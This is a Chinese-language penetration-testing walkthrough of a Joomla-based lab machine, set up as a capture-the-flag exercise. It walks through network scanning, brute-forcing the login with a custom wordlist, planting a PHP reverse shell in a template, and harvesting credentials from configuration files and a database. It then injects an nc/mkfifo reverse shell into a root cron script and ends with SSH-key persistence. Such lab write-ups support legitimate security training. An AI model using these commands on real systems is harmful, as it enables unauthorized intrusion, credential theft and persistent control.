?一、滲透總流程
1.確定目標:
????????在本靶場中,確定目標就是使用各種掃描工具進行ip掃描,確定目標ip。
2.信息收集:
????????比如平常挖洞使用fofa,天眼查,ip域名等進行查,在我們這個靶場中比如使用Wappalyzer插件、nmap工具等。
3.發現漏洞:
????????那些理論比如sql注入,文件上傳等,或者找到相關的系統信息,去網上找相關的exp這些都是為了拿到webshell。
4.漏洞利用:
????????漏洞利用就是使用漏洞拿到webshell。
5.權限提升:
????????權限提升,就是所謂的提權,因為一般進入拿到webshell后進入到服務器了都是低權限,在接下來的靶中我們的目標都是拿到root權限,所以拿到webshell后是低權限用戶,這個時候我們需要一系列的方式進行提權,最后拿到root權限,即為結束。
6.權限維持:? ?
? ? ? ? 在滲透測試過程中,權限維持是指利用已獲取的權限、漏洞或憑證,保持長期對目標系統的訪問權限,并持續地潛伏在系統內部以獲得更多信息或執行更高級別的攻擊。權限維持通常發生在成功滲透系統后,攻擊者不僅僅是獲取對系統的訪問權限,還試圖保持這種權限,以執行進一步的攻擊操作。
?
二、打靶實例詳解
文章內的靶機及腳本關注后私信獲取
1.準備階段
首先將靶機以及kali啟動。
注意將兩者的網絡適配器均調整為NAT模式(確保二者是在同一個網段下)。
2.信息收集——確認靶機ip
首先確定攻擊機kali的ip來確定接下來掃描的網段。
命令:ip a
方法一——fping
命令:fping -g 192.168.10.0/24
方法二——Netdiscover
命令:netdiscover -i eth0 -r 192.168.10.0/24
方法三——arp-scan
命令:arp-scan -l
方法四——nmap
命令:nmap -sP 192.168.10.0/24
在上面掃描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。
所以通過上面的四種方法均可以確定靶機的ip地址為:192.168.10.176。
3.信息收集——端口掃描
命令:nmap -A -v -sS -sV -p- 192.168.10.176
知識點——nmap參數說明:
-A:詳細掃描目標IP,加載所有腳本,盡可能地全面地探測信息
-v:顯示詳細的掃描過程
-sS:利用TCP SYN掃描
-sV:探測開放
-p-:掃描全部端口
可以看到開放的端口有:
22:SSH服務
80:HTTP服務
4.威脅建模
訪問:http://192.168.10.176/
通過Wappalyzer插件得到下面的信息:
Web服務:Apache 2.4.38
操作系統:Debian
5.漏洞探測
通過前面的掃描,可以看到存在開放的80端口,因此猜測其存在HTTP服務。
訪問其web服務,默認端口為80。
可以看到一張小丑的圖片。
查看網頁源代碼,可以看到沒有什么有價值的信息。
查看robot.txt文件,同樣沒有什么收獲。
安裝Gobuster工具。
命令:apt-get install gobuster
接下來通過使用Gobuster和大字典(Kali自帶),查找網站部署的服務器,發現了JoomlaCMS。
命令:gobuster dir -u 192.168.10.176 -w /usr/share/dirb/wordlists/big.txt
訪問Joomla站點,發現只有一個帖子,其中有電影“小丑”的兩個場景對話,還發現一個登錄口。
安裝Joomscan工具。
命令:apt-get install joomscan
接下來使用Joomscan對站點進行探測。
列出版本信息、敏感目錄以及備份文件等有助于尋找漏洞的信息。
命令:joomscan -u 192.168.10.176/joomla
6.漏洞利用
使用Cewl工具對Joomla中發現的對話內的單詞創建一個自定義詞典。
命令:cewl -m 5 http://192.168.10.176/joomla/ > dic-words.txt
命令解釋:常用于密碼破解的準備工作,生成一個基于目標網站內容的密碼字典。?-m 5?參數表示生成一個最小長度為5個字符的單詞列表。它從指定的URL?http://192.168.10.176/joomla/?中提取文本,然后將提取的內容輸出到一個名為?dic-words.txt?的文件中。
查看生成的字典。
接下來利用剛剛生成的字典對網頁內的登錄口進行爆破。
首先啟動burp打開攔截器。
開啟瀏覽器內的代理。
在登錄口隨便輸入賬號密碼后點擊Log in。
此時可以看到burp攔截到的數據包。
鼠標右鍵點擊數據包后將其發送到Intruder。
在Intruder頁面先確認選取Sniper,然后將username改為joomla,選中之前登錄口隨便填寫的密碼使用Add給password加上標記。
打開Payloads界面進行相關配置。
選取Simple list格式。
在下方點擊load填入之前創建的密碼字典dic-words.txt。
導入字典后點擊Start attack開始爆破。
等待爆破解釋后通過Lenght對結果篩選,得到密碼Gotham。
使用username為joomla和password為Gotham嘗試登陸,發現登錄成功。
在枚舉過程中我們嗅探到joomla下有administrator目錄,嘗試訪問一下,發現可以成功訪問。
使用剛剛爆破得到的用戶名和密碼登錄。
發現登錄成功。
接下來嘗試在這個站點內建立一個反彈shell。
打開Extensions->Templates->Styles。
可以看到Beez3和protostar兩個目錄。
點擊Protostar打開protostar目錄。
進入/index.php頁面進行編輯。
為了后續方便代碼的復制粘貼,安裝gedit工具。
命令:apt-get install gedit
進入到/usr/share/webshells/php目錄,找到php-reverse-shell.php文件復制整個文件的代碼。
命令:cd /usr/share/webshells/php
命令:gedit php-reverse-shell.php
用復制的shell腳本替換掉/index.php中的原始代碼。
在第49行和50行找到ip和port。
將ip更改為攻擊機kali的IP,這里為Kali IP:192.168.10.132。
端口可以自己設定,這里設置為5555。
點擊左上角的save進行保存。
之后在kali中打開監聽,重新訪問“192.168.10.176/joomla/index.php”頁面,在Kali中可以看到反彈成功。
命令:nc -lnvp 5555
地址:192.168.10.176/joomla/index.php
使用python3打開一個bash終端。
命令:python3 -c "import pty;pty.spawn('/bin/bash')"
查看home目錄發現三個用戶。
命令:ls /home
進入到/var/www/目錄并查看,發現有html和joomla2兩個文件夾。
命令:cd /var/www/ && ls -a
進入到joomla2文件夾內并查看,發現了configuration.php文件。
命令:cd joomla2 && ls -a
查看該文件,發現了一個數據的用戶名和密碼。
命令:cat configuration.php
用賬號joomla和密碼babyjoker嘗試登錄數據庫,發現登錄成功。
命令:mysql -u joomla -p
在數據庫內查找有用的信息,查看是否有存儲用戶名和密碼的文件。
命令:show databases;
命令:use batjoke;
成功找到密碼信息如下圖所示。
命令:select * from taskforce;
將密碼進行base64解密,可以看到解密后的明文。
命令:echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d
- 知識點——命令說明:
這個命令是將給定的Base64編碼的字符串解碼回原始的文本。具體來說,命令中的?echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/'?是將Base64編碼的密文輸入到管道中,然后?base64 -d?解碼這個Base64編碼的字符串,并將其轉換為原始文本。
7.權限提升
使用前面獲取到的密碼通過ssh命令嘗試進行登錄,發現登錄成功了。
用戶名:rob
密碼:??? AllIHaveAreNegativeThoughts???
命令:ssh rob@192.168.10.176
在rob用戶的系統中搜索資產,發現一個關于用戶的文件user.txt,查看該文件。
命令:ls
查看user.txt文件。
命令:cat user.txt
遍歷目錄,發現了可疑文件Abnerineedyourhelp。
命令:ls -lna
查看文件,發現一段加密后的話。
命令:cat Abnerineedyourhelp
根據用戶名rot聯想到疑似是rot13加密,于是利用CyberChef工具嘗試解密。
成功解密,得到下圖所示的明文。
翻譯后的內容如下,可以看到末尾有一段密碼。
對上述的密碼進行base64解密。
命令:echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d
根據上面翻譯結果內的提示,嘗試利用上面解密出的密碼登錄用戶名為abner的用戶,執行命令后發現登錄成功到了abner。
命令:su abner
密碼:I33hope99my0death000makes44more8cents00than0my0life0
命令:whoami
進入到abner的目錄下并進行目錄遍歷,發現可疑文件info.txt和user2.txt。
命令:cd /home/abner && ls -lna
分別查看兩個文件。
命令:cat info.txt
命令:cat user2.txt
翻譯得到的內容可以看到其是對Glasgow smile的介紹。
查看命令執行的歷史記錄。
命令:cat .bash_history
在全盤中搜索與penguin用戶相關的文件,找到兩條關鍵信息。
命令:find / -name .dear_penguins.zip 2>/dev/null
來到上面查找到的文件的目錄下并查看,可以看到上面搜索到的壓縮包。
命令:ls -al /var/www/joomla2/administrator/manifests/files/
將其解壓。
命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip
密碼:I33hope99my0death000makes44more8cents00than0my0life0
查看.dear_penguins文件。
命令:cat .dear_penguins
翻譯得到的內容。
得到penguin用戶的密碼,使用得到的密碼嘗試登錄用戶penguin,發現成功登錄。
命令:su penguin
密碼:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
命令:whoami
進入到penguin的目錄下并進行目錄遍歷,查找可疑文件或目錄,發現可以目錄SomeoneWhoHidesBehindAMask。
命令:cd /home/penguin && ls -lna
進入SomeoneWhoHidesBehindAMask目錄并遍歷,發現兩個可疑文件。
命令:cd SomeoneWhoHidesBehindAMask && ls -lna
查看PeopleAreStartingToNotice.txt。
命令:cat PeopleAreStartingToNotice.txt
翻譯得到下面內容,是Joker給Penguin的留言,貌似說正在編寫一個程序,只能用root運行,完成以后joker將會拷貝到當前目錄。
查看.trash_old文件,可以看到其內容類似于一個shell腳本。
命令:cat .trash_old
結合文件內容,發現.trash_old屬于用戶penguin,root組并且任何人都可執行。
這個時候聯想到需要使用pspy工具監控沒有root權限的Linux系統。
前面進行端口掃描的時候存在開放的22端口,并且已經拿到了該系統的登錄用戶名和密碼。
因此嘗試利用ssh遠程連接進行上傳pspy工具。
首先將pspy文件下載到本地。
然后嘗試利用ssh連接靶機。
命令:ssh penguin@192.168.10.176
密碼:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
在本機的pspy目錄下,啟動python的http服務,啟動端口可以任意填寫但是要注意不要與已經啟動服務的端口重復。
命令:python3 -m http.server 5556
啟動后訪問本地地址進行驗證,可以看到可以訪問到kali內的文件。
訪問地址:http://192.168.10.132:5556/
在靶機上將pspy64wget下來。
命令:wget http://192.168.10.132:5556/pspy64
查看文件pspy64,發現沒有權限執行。
命令:ls -lah
修改其權限讓其可以執行并進行驗證。?
命令:chmod +x pspy64
命令:ls -lah
執行pspy,利用其對系統進程進行監控。
命令:./pspy64 -p -i 1000
監聽到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分鐘都執行。
回到前面.trash_old的目錄下,使用vim編輯trash_old寫入反彈shell(要將末尾的exit 0注釋掉)。
命令:vi .trash_old
代碼:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.132 5557>/tmp/f
保存并退出::wq!
在kali內開啟監聽,連接上后,執行whoami或id命令,可以看到此時成功拿到了root權限。
命令:nc -lnvp 5557
命令:whoami
命令:id
查看當前目錄下內容,可以看到root.txt文件,查看root.txt。
命令:ls
命令:cat root.txt
上面成功拿到了root權限。
8.權限維持
在滲透測試中,權限維持是非常重要的一步。獲取了系統或網絡的訪問權限后,可以盡量保持這些權限,以便進行后續的深入滲透,如滲透到更深層次的系統等。
首先利用攻擊機kali生成公鑰私鑰對,默認保存在.ssh目錄下。
命令:ssh-keygen -t rsa
查看剛剛生成的公鑰和私鑰,其中id_rsa為私鑰,留在攻擊機kali內,id_ras.pub為公鑰,傳到靶機內即可。
命令:cd .ssh
命令:ls -lah
在存放公鑰私鑰的.ssh目錄下啟動python的http服務。
命令:python3 -m http.server 5558
將公鑰下載到靶機上并查看。
命令:wget http://192.168.10.132:5558/id_rsa.pub
命令:ls
在靶機內查看當前路徑,確認是root用戶目錄后在當前目錄下創建.ssh目錄。
命令:pwd
命令:mkdir .ssh
命令:ls -alh
在.ssh目錄下創建authorized_keys文件。
命令:touch .ssh/authorized_keys
將密鑰寫入到authorized_keys文件中。
命令:cat id_rsa.pub >> .ssh/authorized_keys
此時使用kali就可以直接連接到靶機的root權限了。
命令:ssh root@192.168.10.176
只要靶機上的公鑰文件存在,就可以利用私鑰永久拿到靶機的控制權。
至此權限維持操作完成!